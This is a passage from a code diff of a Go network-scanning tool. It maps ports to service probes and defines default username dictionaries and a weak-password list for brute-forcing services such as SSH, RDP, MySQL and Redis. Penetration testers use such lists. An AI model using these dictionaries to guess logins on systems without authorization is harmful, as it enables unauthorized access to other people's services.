||||
5222: {"GenericLines"},
|
||||
5432: {"GenericLines"},
|
||||
5555: {"GenericLines"},
|
||||
5560: {"GenericLines", "oracle-tns"},
|
||||
5631: {"GenericLines", "PCWorkstation"},
|
||||
5672: {"GenericLines"},
|
||||
5984: {"GetRequest", "HTTPOptions"},
|
||||
6000: {"X11Probe"},
|
||||
6379: {"redis-server"},
|
||||
6432: {"GenericLines"},
|
||||
6667: {"GenericLines"},
|
||||
7000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
|
||||
7001: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
|
||||
7002: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
|
||||
7070: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
7443: {"TLSSessionReq", "SSLSessionReq", "GetRequest", "HTTPOptions"},
|
||||
7777: {"GenericLines", "oracle-tns"},
|
||||
8000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "iperf3"},
|
||||
8005: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
8008: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
8009: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "ajp"},
|
||||
8080: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
8081: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
8089: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
8090: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
8443: {"TLSSessionReq", "SSLSessionReq", "GetRequest", "HTTPOptions"},
|
||||
8888: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
9000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
9042: {"GenericLines"},
|
||||
9092: {"GenericLines", "kafka"},
|
||||
9200: {"GetRequest", "HTTPOptions", "elasticsearch"},
|
||||
9300: {"GenericLines"},
|
||||
9999: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "adbConnect"},
|
||||
10000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
|
||||
10051: {"GenericLines"},
|
||||
11211: {"Memcache"},
|
||||
15672: {"GetRequest", "HTTPOptions"},
|
||||
27017: {"mongodb"},
|
||||
27018: {"mongodb"},
|
||||
50070: {"GetRequest", "HTTPOptions"},
|
||||
61616: {"GenericLines"},
|
||||
}
|
||||
|
||||
// DefaultUserDict 默认服务用户字典
|
||||
var DefaultUserDict = map[string][]string{
|
||||
"ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"},
|
||||
"mysql": {"root", "mysql"},
|
||||
"mssql": {"sa", "sql"},
|
||||
"smb": {"administrator", "admin", "guest"},
|
||||
"rdp": {"administrator", "admin", "guest"},
|
||||
"postgresql": {"postgres", "admin"},
|
||||
"ssh": {"root", "admin"},
|
||||
"mongodb": {"root", "admin"},
|
||||
"redis": {""},
|
||||
"oracle": {"sys", "system", "admin", "test", "web", "orcl"},
|
||||
"telnet": {"root", "admin", "test"},
|
||||
"elastic": {"elastic", "admin", "kibana"},
|
||||
"rabbitmq": {"guest", "admin", "administrator", "rabbit", "rabbitmq", "root"},
|
||||
"kafka": {"admin", "kafka", "root", "test"},
|
||||
"activemq": {"admin", "root", "activemq", "system", "user"},
|
||||
"ldap": {"admin", "administrator", "root", "cn=admin", "cn=administrator", "cn=manager"},
|
||||
"smtp": {"admin", "root", "postmaster", "mail", "smtp", "administrator"},
|
||||
"imap": {"admin", "mail", "postmaster", "root", "user", "test"},
|
||||
"pop3": {"admin", "root", "mail", "user", "test", "postmaster"},
|
||||
"zabbix": {"Admin", "admin", "guest", "user"},
|
||||
"rsync": {"root", "admin", "backup"},
|
||||
"cassandra": {"cassandra", "admin", "root", "system"},
|
||||
"neo4j": {"neo4j", "admin", "root", "test"},
|
||||
}
|
||||
|
||||
// DefaultPasswords 默认密码字典
|
||||
var DefaultPasswords = []string{
|
||||
"123456", "admin", "admin123", "root", "", "pass123", "pass@123",
|
||||
"password", "Password", "P@ssword123", "123123", "654321", "111111",
|
||||
"123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}",
|
||||
"{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123",
|
||||
"{user}#123", "{user}@111", "{user}@2019", "{user}@123#4",
|
||||
"P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test",
|
||||
"test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666",
|
||||
"a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888",
|
||||
"!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111",
|
||||
"a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123",
|
||||
"Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ",
|
||||
"2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456",
|
||||
"1q2w3e", "Charge123", "Aa123456789", "redis", "elastic123",
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user